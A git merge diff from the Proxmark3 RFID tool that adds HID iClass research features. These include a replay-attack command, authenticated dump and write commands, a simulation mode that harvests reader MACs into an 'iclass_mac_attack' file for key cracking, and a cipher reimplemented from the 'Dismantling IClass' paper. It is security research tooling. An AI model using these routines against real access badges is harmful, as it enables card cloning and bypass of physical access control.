From: Martin Holst Swende Date: Sat, 28 Jun 2014 18:52:37 +0000 (+0200) Subject: Merge branch 'iclass-research' of https://github.com/PenturaLabs/proxmark3 into Pentu... X-Git-Tag: v2.0.0-rc1~88^2~7 X-Git-Url: http://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/commitdiff_plain/3ad48540d4d77f50cc62d16acb78f17019ef431d Merge branch 'iclass-research' of https://github.com/PenturaLabs/proxmark3 into PenturaLabs-iclass-research Conflicts: README.txt armsrc/apps.h client/Makefile client/cmdhficlass.c client/cmdhficlass.h --- 3ad48540d4d77f50cc62d16acb78f17019ef431d diff --cc README.txt index ce5eacf4,1f506f21..cb2c7f3c --- a/README.txt +++ b/README.txt @@@ -1,88 -1,7 +1,87 @@@ -iclass research -=============== +NOTICE: +(2014-03-26) +This is now the official Proxmark repository! -Implemented "hf iclass replay " where MAC is 8-char Hexidecimal MAC. +INTRODUCTION: -Useful to replay a snooped authentication sequence if cc (e-purse) is not correctly updated as per the specification. -Currently hardset to only read Page 1. +The proxmark3 is a powerful general purpose RFID tool, the size of a deck +of cards, designed to snoop, listen and emulate everything from +Low Frequency (125kHz) to High Frequency (13.56MHz) tags. + +This repository contains enough software, logic (for the FPGA), and design +documentation for the hardware that you could, at least in theory, +do something useful with a proxmark3. + +RESOURCES: + + * This repository! + https://github.com/Proxmark/proxmark3 + + * The Wiki + https://github.com/Proxmark/proxmark3/wiki + + * The GitHub page + http://proxmark.github.io/proxmark3/ + + * The Forum + http://www.proxmark.org/forum + + * The IRC chanel + irc.freenode.org #proxmark3 + -or- + http://webchat.freenode.net/?channels=#proxmark3 + +DEVELOPMENT: + +The tools required to build or run the project will vary depending on +your operating system. Please refer to the Wiki for details. + + * https://github.com/Proxmark/proxmark3/wiki + +OBTAINING HARDWARE: + +The Proxmark 3 is available for purcahse (assembled and tested) from the +following locations: + + * http://proxmark3.com/ + * http://www.xfpga.com/ + +Most of the ultra-low-volume contract assemblers could put +something like this together with a reasonable yield. A run of around +a dozen units is probably cost-effective. The BOM includes (possibly- +outdated) component pricing, and everything is available from Digikey +and the usual distributors. + +If you've never assembled a modern circuit board by hand, then this is +not a good place to start. Some of the components (e.g. the crystals) +must not be assembled with a soldering iron, and require hot air. + +The schematics are included; the component values given are not +necessarily correct for all situations, but it should be possible to do +nearly anything you would want with appropriate population options. + +The printed circuit board artwork is also available, as Gerbers and an +Excellon drill file. + + +LICENSING: + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + +Jonathan Westhues +user jwesthues, at host cq.cx + +May 2007, Cambridge MA - diff --cc armsrc/apps.h index 1ef0e472,237c5291..011ad695 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@@ -199,9 -188,11 +199,11 @@@ void SetDebugIso15693(uint32_t flag) /// iclass.h void RAMFUNC SnoopIClass(void); -void SimulateIClass(uint8_t arg0, uint8_t *datain); +void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void ReaderIClass(uint8_t arg0); - //int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); + void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC); + void IClass_iso14443A_GetPublic(uint8_t arg0); + // hitag2.h void SnoopHitag(uint32_t type); void SimulateHitagTag(bool tag_mem_supplied, byte_t* data); diff --cc client/Makefile index e4a3580b,c47e8526..05ffc667 --- a/client/Makefile +++ b/client/Makefile @@@ -58,6 -56,10 +56,12 @@@ CORESRCS = uart.c CMDSRCS = nonce2key/crapto1.c\ nonce2key/crypto1.c\ nonce2key/nonce2key.c\ + loclass/cipher.c \ + loclass/cipherutils.c \ + loclass/des.c \ + loclass/ikeys.c \ ++ loclass/elite_crack.c\ ++ loclass/fileutils.c\ mifarehost.c\ crc16.c \ iso14443crc.c \ diff --cc client/cmdhficlass.c index b8e1e098,e68fdc4f..91b5d898 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@@ -22,137 -22,14 +23,143 @@@ #include "cmdhficlass.h" #include "common.h" #include "util.h" +#include "cmdmain.h" + #include "loclass/des.h" + #include "loclass/cipherutils.h" + #include "loclass/cipher.h" + #include "loclass/ikeys.h" ++#include "loclass/elite_crack.h" ++#include "loclass/fileutils.h" static int CmdHelp(const char *Cmd); +int xorbits_8(uint8_t val) +{ - uint8_t res = val ^ (val >> 1); //1st pass - res = res ^ (res >> 1); // 2nd pass - res = res ^ (res >> 2); // 3rd pass - res = res ^ (res >> 4); // 4th pass - return res & 1; ++ uint8_t res = val ^ (val >> 1); //1st pass ++ res = res ^ (res >> 1); // 2nd pass ++ res = res ^ (res >> 2); // 3rd pass ++ res = res ^ (res >> 4); // 4th pass ++ return res & 1; +} + int CmdHFiClassList(const char *Cmd) +{ + + bool ShowWaitCycles = false; + char param = param_getchar(Cmd, 0); + + if (param != 0) { + PrintAndLog("List data in trace buffer."); + PrintAndLog("Usage: hf iclass list"); + PrintAndLog("h - help"); + PrintAndLog("sample: hf iclass list"); + return 0; + } + + uint8_t got[1920]; + GetFromBigBuf(got,sizeof(got),0); + WaitForResponse(CMD_ACK,NULL); + + PrintAndLog("Recorded Activity"); + PrintAndLog(""); + PrintAndLog("Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer"); + PrintAndLog("All times are in carrier periods (1/13.56Mhz)"); + PrintAndLog(""); + PrintAndLog(" Start | End | Src | Data"); + PrintAndLog("-----------|-----------|-----|--------"); + + int i; + uint32_t first_timestamp = 0; + uint32_t timestamp; + bool tagToReader; + uint32_t parityBits; + uint8_t len; + uint8_t *frame; + uint32_t EndOfTransmissionTimestamp = 0; + + + for( i=0; i < 1900;) + { + //First 32 bits contain + // isResponse (1 bit) + // timestamp (remaining) + //Then paritybits + //Then length + timestamp = *((uint32_t *)(got+i)); + parityBits = *((uint32_t *)(got+i+4)); + len = got[i+8]; + frame = (got+i+9); + uint32_t next_timestamp = (*((uint32_t *)(got+i+9))) & 0x7fffffff; + + tagToReader = timestamp & 0x80000000; + timestamp &= 0x7fffffff; + + if(i==0) { + first_timestamp = timestamp; + } + + // Break and stick with current result if buffer was not completely full + if (frame[0] == 0x44 && frame[1] == 0x44 && frame[2] == 0x44 && frame[3] == 0x44) break; + + char line[1000] = ""; + + if(len)//We have some data to display + { + int j,oddparity; + + for(j = 0; j < len ; j++) + { + oddparity = 0x01 ^ xorbits_8(frame[j] & 0xFF); + + if (tagToReader && (oddparity != ((parityBits >> (len - j - 1)) & 0x01))) { + sprintf(line+(j*4), "%02x! ", frame[j]); + } else { + sprintf(line+(j*4), "%02x ", frame[j]); + } + } + }else + { + if (ShowWaitCycles) { + sprintf(line, "fdt (Frame Delay Time): %d", (next_timestamp - timestamp)); + } + } + + char *crc = ""; + + if(len > 2) + { + uint8_t b1, b2; + if(!tagToReader && len == 4) { + // Rough guess that this is a command from the reader + // For iClass the command byte is not part of the CRC + ComputeCrc14443(CRC_ICLASS, &frame[1], len-3, &b1, &b2); + } + else { + // For other data.. CRC might not be applicable (UPDATE commands etc.) + ComputeCrc14443(CRC_ICLASS, frame, len-2, &b1, &b2); + } + + if (b1 != frame[len-2] || b2 != frame[len-1]) { + crc = (tagToReader & (len < 8)) ? "" : " !crc"; + } + } + + i += (len + 9); + EndOfTransmissionTimestamp = (*((uint32_t *)(got+i))) & 0x7fffffff; + + // Not implemented for iclass on the ARM-side + //if (!ShowWaitCycles) i += 9; + + PrintAndLog(" %9d | %9d | %s | %s %s", + (timestamp - first_timestamp), + (EndOfTransmissionTimestamp - first_timestamp), + (len?(tagToReader ? "Tag" : "Rdr"):" "), + line, crc); + } + return 0; +} + +int CmdHFiClassListOld(const char *Cmd) { uint8_t got[1920]; GetFromBigBuf(got,sizeof(got),0); @@@ -319,80 -184,16 +321,81 @@@ int CmdHFiClassSim(const char *Cmd } simType = param_get8(Cmd, 0); - if (param_gethex(Cmd, 1, CSN, 16)) { - PrintAndLog("A CSN should consist of 16 HEX symbols"); - return 1; - } - PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8)); - UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType}}; - memcpy(c.d.asBytes, CSN, 8); - SendCommand(&c); + if(simType == 0) + { + if (param_gethex(Cmd, 1, CSN, 16)) { + PrintAndLog("A CSN should consist of 16 HEX symbols"); + return 1; + } + PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8)); + + } + if(simType > 2) + { + PrintAndLog("Undefined simptype %d", simType); + return 1; + } + uint8_t numberOfCSNs=0; + + if(simType == 2) + { + UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}}; + UsbCommand resp = {0}; + + uint8_t csns[64] = { + 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0 , + 0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0 , + 0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0 , + 0x17,0x12,0x01,0xfd,0xf7,0xff,0x12,0xe0 , + 0xcd,0x56,0x01,0x7c,0x6f,0xff,0x12,0xe0 , + 0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0 , + 0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0 , + 0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0 }; + + memcpy(c.d.asBytes, csns, 64); + + SendCommand(&c); + if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) { + PrintAndLog("Command timed out"); + return 0; + } + + uint8_t num_mac_responses = resp.arg[1]; + PrintAndLog("Mac responses: %d MACs obtained (should be 8)", num_mac_responses); + + size_t datalen = 8*24; + /* + * Now, time to dump to file. We'll use this format: + * <8-byte CSN><8-byte CC><4 byte NR><4 byte MAC>.... + * So, it should wind up as + * 8 * 24 bytes. + * + * The returndata from the pm3 is on the following format + * <4 byte NR><4 byte MAC> + * CC are all zeroes, CSN is the same as was sent in + **/ + void* dump = malloc(datalen); + memset(dump,0,datalen);//<-- Need zeroes for the CC-field + uint8_t i = 0; + for(i = 0 ; i < 8 ; i++) + { + memcpy(dump+i*24, csns+i*8,8); //CSN + //8 zero bytes here... + //Then comes NR_MAC (eight bytes from the response) + memcpy(dump+i*24+16,resp.d.asBytes+i*8,8); + + } + /** Now, save to dumpfile **/ + saveFile("iclass_mac_attack", "bin", dump,datalen); + free(dump); + }else + { + UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}}; + memcpy(c.d.asBytes, CSN, 8); + SendCommand(&c); + } + return 0; } @@@ -410,27 -211,233 +413,188 @@@ int CmdHFiClassReader(const char *Cmd PrintAndLog("--readertype:%02x", readerType); UsbCommand c = {CMD_READER_ICLASS, {readerType}}; - //memcpy(c.d.asBytes, CSN, 8); SendCommand(&c); - /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500); - if (resp != NULL) { - uint8_t isOK = resp->arg[0] & 0xff; + return 0; + } + + int CmdHFiClassReader_Replay(const char *Cmd) + { + uint8_t readerType = 0; + uint8_t MAC[4]={0x00, 0x00, 0x00, 0x00}; + + if (strlen(Cmd)<1) { + PrintAndLog("Usage: hf iclass replay "); + PrintAndLog(" sample: hf iclass replay 00112233"); + return 0; + } + + if (param_gethex(Cmd, 0, MAC, 8)) { + PrintAndLog("MAC must include 8 HEX symbols"); + return 1; + } + + UsbCommand c = {CMD_READER_ICLASS_REPLAY, {readerType}}; + memcpy(c.d.asBytes, MAC, 4); + SendCommand(&c); + + return 0; + } + + int CmdHFiClassReader_Dump(const char *Cmd) + { + uint8_t readerType = 0; + uint8_t MAC[4]={0x00,0x00,0x00,0x00}; + uint8_t KEY[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t CSN[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t CCNR[12]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + //uint8_t CC_temp[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - uint8_t result[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t div_key[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - des_context ctx_enc; - uint64_t crypted_id=0; + + if (strlen(Cmd)<1) + { + //PrintAndLog("Usage: hf iclass dump "); + //PrintAndLog(" sample: hf iclass dump 0011223344556677 aabbccddeeffgghh FFFFFFFFFFFFFFFF"); + PrintAndLog("Usage: hf iclass dump "); + PrintAndLog(" sample: hf iclass dump 0011223344556677"); + return 0; + } + + if (param_gethex(Cmd, 0, KEY, 16)) + { + PrintAndLog("KEY must include 16 HEX symbols"); + return 1; + } + + /*if (param_gethex(Cmd, 1, CSN, 16)) + { + PrintAndLog("CSN must include 16 HEX symbols"); + return 1; + } + if (param_gethex(Cmd, 2, CC_temp, 16)) + { + PrintAndLog("CC must include 16 HEX symbols"); + return 1; + }*/ + + UsbCommand c = {CMD_ICLASS_ISO14443A_GETPUBLIC, {0}}; + //memcpy(c.d.asBytes, MAC, 4); + SendCommand(&c); + + UsbCommand resp; + if (WaitForResponseTimeout(CMD_ACK,&resp,4500)) { + uint8_t isOK = resp.arg[0] & 0xff; + uint8_t * data = resp.d.asBytes; + + memcpy(CSN,data,8); + memcpy(CCNR,data+8,8); + PrintAndLog("DEBUG: %s",sprint_hex(CSN,8)); + PrintAndLog("DEBUG: %s",sprint_hex(CCNR,8)); PrintAndLog("isOk:%02x", isOK); } else { PrintAndLog("Command execute timeout"); - }*/ + } - - - //memcpy(CCNR,CC_temp,8); - des_setkey_enc( &ctx_enc, KEY); - des_crypt_ecb(&ctx_enc,CSN,result); - PrintAndLog("DES Key: %s",sprint_hex(result,8)); - uint64_t newz=0; - crypted_id = bytes_to_num(result,8); - uint64_t x = (crypted_id & 0xFFFF000000000000 ); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,0),7); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,1),6); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,2),5); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,3),4); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,4),3); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,5),2); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,6),1); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,7),0); - newz|= x; - crypted_id=newz; - num_to_bytes(crypted_id,8,result); - PrintAndLog("DESr Key: %s",sprint_hex(result,8)); - hash0(crypted_id,div_key); - PrintAndLog("Div Key: %s",sprint_hex(div_key,8)); - calc_iclass_mac(CCNR,12,div_key,MAC); ++ ++ diversifyKey(CSN,KEY, div_key); ++ ++ doMAC(CCNR,div_key, MAC); + + UsbCommand d = {CMD_READER_ICLASS_REPLAY, {readerType}}; + memcpy(d.d.asBytes, MAC, 4); + SendCommand(&d); return 0; } + int CmdHFiClass_iso14443A_write(const char *Cmd) + { + uint8_t readerType = 0; + uint8_t MAC[4]={0x00,0x00,0x00,0x00}; + uint8_t KEY[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t CSN[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t CCNR[12]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - uint8_t CC_temp[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - uint8_t result[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t div_key[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - des_context ctx_enc; - uint64_t crypted_id=0; ++ + uint8_t blockNo=0; + uint8_t bldata[8]={0}; + + if (strlen(Cmd)<3) + { + PrintAndLog("Usage: hf iclass write "); + PrintAndLog(" sample: hf iclass write 0011223344556677 10 AAAAAAAAAAAAAAAA"); + return 0; + } + + if (param_gethex(Cmd, 0, KEY, 16)) + { + PrintAndLog("KEY must include 16 HEX symbols"); + return 1; + } + + blockNo = param_get8(Cmd, 1); + if (blockNo>32) + { + PrintAndLog("Error: Maximum number of blocks is 32 for iClass 2K Cards!"); + return 1; + } + if (param_gethex(Cmd, 2, bldata, 8)) + { + PrintAndLog("Block data must include 8 HEX symbols"); + return 1; + } + + UsbCommand c = {CMD_ICLASS_ISO14443A_GETPUBLIC, {0}}; - //memcpy(c.d.asBytes, MAC, 4); + SendCommand(&c); - + UsbCommand resp; ++ + if (WaitForResponseTimeout(CMD_ACK,&resp,4500)) { + uint8_t isOK = resp.arg[0] & 0xff; + uint8_t * data = resp.d.asBytes; + + memcpy(CSN,data,8); + memcpy(CCNR,data+8,8); + PrintAndLog("DEBUG: %s",sprint_hex(CSN,8)); + PrintAndLog("DEBUG: %s",sprint_hex(CCNR,8)); + PrintAndLog("isOk:%02x", isOK); + } else { + PrintAndLog("Command execute timeout"); + } - - des_setkey_enc( &ctx_enc, KEY); - des_crypt_ecb(&ctx_enc,CSN,result); - PrintAndLog("DES Key: %s",sprint_hex(result,8)); - uint64_t newz=0; - crypted_id = bytes_to_num(result,8); - uint64_t x = (crypted_id & 0xFFFF000000000000 ); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,0),7); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,1),6); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,2),5); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,3),4); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,4),3); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,5),2); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,6),1); - pushbackSixBitByte(&newz, getSixBitByte(crypted_id,7),0); - newz|= x; - crypted_id=newz; - num_to_bytes(crypted_id,8,result); - PrintAndLog("DESr Key: %s",sprint_hex(result,8)); - hash0(crypted_id,div_key); ++ ++ diversifyKey(CSN,KEY, div_key); ++ + PrintAndLog("Div Key: %s",sprint_hex(div_key,8)); - calc_iclass_mac(CCNR,12,div_key,MAC); ++ doMAC(CCNR, div_key, MAC); + - UsbCommand c = {CMD_ICLASS_ISO14443A_WRITE, {readerType,blockNo}}; - memcpy(c.d.asBytes, bldata, 8); - memcpy(c.d.asBytes+8, MAC, 4); - SendCommand(&c); ++ UsbCommand c2 = {CMD_ICLASS_ISO14443A_WRITE, {readerType,blockNo}}; ++ memcpy(c2.d.asBytes, bldata, 8); ++ memcpy(c2.d.asBytes+8, MAC, 4); ++ SendCommand(&c2); + - UsbCommand resp; + if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) { + uint8_t isOK = resp.arg[0] & 0xff; + uint8_t * data = resp.d.asBytes; + + if (isOK) + PrintAndLog("isOk:%02x data:%s", isOK, sprint_hex(data, 4)); + else + PrintAndLog("isOk:%02x", isOK); + } else { + PrintAndLog("Command execute timeout"); + } + return 0; + } + + static command_t CommandTable[] = { - {"help", CmdHelp, 1, "This help"}, - {"list", CmdHFiClassList, 0, "List iClass history"}, - {"snoop", CmdHFiClassSnoop, 0, "Eavesdrop iClass communication"}, - {"sim", CmdHFiClassSim, 0, "Simulate iClass tag"}, - {"reader", CmdHFiClassReader, 0, "Read an iClass tag"}, + {"help", CmdHelp, 1, "This help"}, + {"list", CmdHFiClassList, 0, "List iClass history"}, + {"snoop", CmdHFiClassSnoop, 0, "Eavesdrop iClass communication"}, + {"sim", CmdHFiClassSim, 0, "Simulate iClass tag"}, + {"reader",CmdHFiClassReader, 0, "Read an iClass tag"}, + {"replay",CmdHFiClassReader_Replay, 0, "Read an iClass tag via Reply Attack"}, + {"dump", CmdHFiClassReader_Dump, 0, "Authenticate and Dump iClass tag"}, + {"write", CmdHFiClass_iso14443A_write, 0, "Authenticate and Write iClass block"}, {NULL, NULL, 0, NULL} }; diff --cc client/loclass/cipher.c index 00000000,aad77a2e..aefb5df5 mode 000000,100644..100644 --- a/client/loclass/cipher.c +++ b/client/loclass/cipher.c @@@ -1,0 -1,261 +1,250 @@@ + /***************************************************************************** + * This file is part of iClassCipher. It is a reconstructon of the cipher engine + * used in iClass, and RFID techology. + * + * The implementation is based on the work performed by + * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and + * Milosch Meriac in the paper "Dismantling IClass". + * + * Copyright (C) 2014 Martin Holst Swende + * + * This is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with IClassCipher. If not, see . + ****************************************************************************/ + ++#include "cipher.h" ++#include "cipherutils.h" + #include + #include + #include + #include + #include -#include "loclass/cipher.h" -#include "loclass/cipherutils.h" -#include "loclass/ikeys.h" - ++#include ++#include "fileutils.h" + uint8_t keytable[] = { 0,0,0,0,0,0,0,0}; + ++/** ++* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2 ++* consisting of the following four components: ++* 1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ; ++* 2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ; ++* 3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 . ++* 4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 . ++**/ ++typedef struct { ++ uint8_t l; ++ uint8_t r; ++ uint8_t b; ++ uint16_t t; ++} State; ++ + /** + * Definition 2. The feedback function for the top register T : F 16/2 → F 2 + * is defined as + * T (x 0 x 1 . . . . . . x 15 ) = x 0 ⊕ x 1 ⊕ x 5 ⊕ x 7 ⊕ x 10 ⊕ x 11 ⊕ x 14 ⊕ x 15 . + **/ + bool T(State state) + { + bool x0 = state.t & 0x8000; + bool x1 = state.t & 0x4000; + bool x5 = state.t & 0x0400; + bool x7 = state.t & 0x0100; + bool x10 = state.t & 0x0020; + bool x11 = state.t & 0x0010; + bool x14 = state.t & 0x0002; + bool x15 = state.t & 0x0001; + return x0 ^ x1 ^ x5 ^ x7 ^ x10 ^ x11 ^ x14 ^ x15; + } + /** + * Similarly, the feedback function for the bottom register B : F 8/2 → F 2 is defined as + * B(x 0 x 1 . . . x 7 ) = x 1 ⊕ x 2 ⊕ x 3 ⊕ x 7 . + **/ + bool B(State state) + { + bool x1 = state.b & 0x40; + bool x2 = state.b & 0x20; + bool x3 = state.b & 0x10; + bool x7 = state.b & 0x01; + + return x1 ^ x2 ^ x3 ^ x7; + + } + + + /** + * Definition 3 (Selection function). The selection function select : F 2 × F 2 × + * F 8/2 → F 3/2 is defined as select(x, y, r) = z 0 z 1 z 2 where + * z 0 = (r 0 ∧ r 2 ) ⊕ (r 1 ∧ r 3 ) ⊕ (r 2 ∨ r 4 ) + * z 1 = (r 0 ∨ r 2 ) ⊕ (r 5 ∨ r 7 ) ⊕ r 1 ⊕ r 6 ⊕ x ⊕ y + * z 2 = (r 3 ∧ r 5 ) ⊕ (r 4 ∧ r 6 ) ⊕ r 7 ⊕ x + **/ + uint8_t _select(bool x, bool y, uint8_t r) + { + bool r0 = r >> 7 & 0x1; + bool r1 = r >> 6 & 0x1; + bool r2 = r >> 5 & 0x1; + bool r3 = r >> 4 & 0x1; + bool r4 = r >> 3 & 0x1; + bool r5 = r >> 2 & 0x1; + bool r6 = r >> 1 & 0x1; + bool r7 = r & 0x1; + + bool z0 = (r0 & r2) ^ (r1 & ~r3) ^ (r2 | r4); + bool z1 = (r0 | r2) ^ ( r5 | r7) ^ r1 ^ r6 ^ x ^ y; + bool z2 = (r3 & ~r5) ^ (r4 & r6 ) ^ r7 ^ x; + + // The three bitz z0.. z1 are packed into a uint8_t: + // 00000ZZZ + //Return value is a uint8_t + uint8_t retval = 0; + retval |= (z0 << 2) & 4; + retval |= (z1 << 1) & 2; + retval |= z2 & 1; + + // Return value 0 <= retval <= 7 + return retval; + } + + /** + * Definition 4 (Successor state). Let s = l, r, t, b be a cipher state, k ∈ (F 82 ) 8 + * be a key and y ∈ F 2 be the input bit. Then, the successor cipher state s ′ = + * l ′ , r ′ , t ′ , b ′ is defined as + * t ′ := (T (t) ⊕ r 0 ⊕ r 4 )t 0 . . . t 14 l ′ := (k [select(T (t),y,r)] ⊕ b ′ ) ⊞ l ⊞ r + * b ′ := (B(b) ⊕ r 7 )b 0 . . . b 6 r ′ := (k [select(T (t),y,r)] ⊕ b ′ ) ⊞ l + * + * @param s - state + * @param k - array containing 8 bytes + **/ + State successor(uint8_t* k, State s, bool y) + { + bool r0 = s.r >> 7 & 0x1; + bool r4 = s.r >> 3 & 0x1; + bool r7 = s.r & 0x1; + + State successor = {0,0,0,0}; + + successor.t = s.t >> 1; + successor.t |= (T(s) ^ r0 ^ r4) << 15; + + successor.b = s.b >> 1; + successor.b |= (B(s) ^ r7) << 7; + + bool Tt = T(s); + + successor.l = ((k[_select(Tt,y,s.r)] ^ successor.b) + s.l+s.r ) & 0xFF; + successor.r = ((k[_select(Tt,y,s.r)] ^ successor.b) + s.l ) & 0xFF; + + return successor; + } + /** + * We define the successor function suc which takes a key k ∈ (F 82 ) 8 , a state s and + * an input y ∈ F 2 and outputs the successor state s ′ . We overload the function suc + * to multiple bit input x ∈ F n 2 which we define as + * @param k - array containing 8 bytes + **/ + State suc(uint8_t* k,State s, BitstreamIn *bitstream) + { + if(bitsLeft(bitstream) == 0) + { + return s; + } + bool lastbit = tailBit(bitstream); + return successor(k,suc(k,s,bitstream), lastbit); + } + + /** + * Definition 5 (Output). Define the function output which takes an internal + * state s =< l, r, t, b > and returns the bit r 5 . We also define the function output + * on multiple bits input which takes a key k, a state s and an input x ∈ F n 2 as + * output(k, s, ǫ) = ǫ + * output(k, s, x 0 . . . x n ) = output(s) · output(k, s ′ , x 1 . . . x n ) + * where s ′ = suc(k, s, x 0 ). + **/ + void output(uint8_t* k,State s, BitstreamIn* in, BitstreamOut* out) + { + if(bitsLeft(in) == 0) + { + return; + } - //printf("bitsleft %d" , bitsLeft(in)); - //printf(" %0d", s.r >> 2 & 1); + pushBit(out,(s.r >> 2) & 1); + //Remove first bit + uint8_t x0 = headBit(in); + State ss = successor(k,s,x0); + output(k,ss,in, out); + } + + /** + * Definition 6 (Initial state). Define the function init which takes as input a + * key k ∈ (F 82 ) 8 and outputs the initial cipher state s =< l, r, t, b > + **/ + + State init(uint8_t* k) + { + State s = { + ((k[0] ^ 0x4c) + 0xEC) & 0xFF,// l + ((k[0] ^ 0x4c) + 0x21) & 0xFF,// r + 0x4c, // b + 0xE012 // t + }; + return s; + } + void MAC(uint8_t* k, BitstreamIn input, BitstreamOut out) + { + uint8_t zeroes_32[] = {0,0,0,0}; + BitstreamIn input_32_zeroes = {zeroes_32,sizeof(zeroes_32)*8,0}; + State initState = suc(k,init(k),&input); + output(k,initState,&input_32_zeroes,&out); - + } + - -void printarr(char * name, uint8_t* arr, int len) ++void doMAC(uint8_t cc_nr[12],uint8_t div_key[8], uint8_t mac[4]) + { - int i ; - printf("uint8_t %s[] = {", name); - for(i =0 ; i< len ; i++) - { - printf("0x%02x,",*(arr+i)); - } - printf("};\n"); ++ // Reversed "on-the-wire" data ++ uint8_t cc_nr_r[12] = {0}; ++ reverse_arraycopy(cc_nr, cc_nr_r,12); ++ BitstreamIn bitstream = {cc_nr_r,12 * 8,0}; ++ uint8_t dest [8]= {0,0,0,0,0,0,0,0}; ++ BitstreamOut out = { dest, sizeof(dest)*8, 0 }; ++ MAC(div_key,bitstream, out); ++ ++ //The output MAC must also be reversed ++ reverse_arraybytes(dest, sizeof(dest)); ++ memcpy(mac, dest, 4); ++ return; + } + + int testMAC() + { ++ prnlog("[+] Testing MAC calculation..."); + + //From the "dismantling.IClass" paper: + uint8_t cc_nr[] = {0xFE,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0,0,0,0}; - // But actually, that must be reversed, it's "on-the-wire" data - reverse_arraybytes(cc_nr,sizeof(cc_nr)); - + //From the paper - uint8_t div_key[] = {0xE0,0x33,0xCA,0x41,0x9A,0xEE,0x43,0xF9}; - uint8_t correct_MAC[] = {0x1d,0x49,0xC9,0xDA}; ++ uint8_t div_key[8] = {0xE0,0x33,0xCA,0x41,0x9A,0xEE,0x43,0xF9}; ++ uint8_t correct_MAC[4] = {0x1d,0x49,0xC9,0xDA}; + - BitstreamIn bitstream = {cc_nr,sizeof(cc_nr) * 8,0}; - uint8_t dest []= {0,0,0,0,0,0,0,0}; - BitstreamOut out = { dest, sizeof(dest)*8, 0 }; - MAC(div_key,bitstream, out); - //The output MAC must also be reversed - reverse_arraybytes(dest, sizeof(dest)); ++ uint8_t calculated_mac[4] = {0}; ++ doMAC(cc_nr, div_key, calculated_mac); + - if(false && memcmp(dest, correct_MAC,4) == 0) ++ if(memcmp(calculated_mac, correct_MAC,4) == 0) + { - printf("MAC calculation OK!\n"); ++ prnlog("[+] MAC calculation OK!"); + + }else + { - printf("MAC calculation failed\n"); - printarr("Calculated_MAC", dest, 4); - printarr("Correct_MAC ", correct_MAC, 4); ++ prnlog("[+] FAILED: MAC calculation failed:"); ++ printarr(" Calculated_MAC", calculated_mac, 4); ++ printarr(" Correct_MAC ", correct_MAC, 4); + return 1; + } ++ + return 0; + } - -int calc_iclass_mac(uint8_t *cc_nr_p, int length, 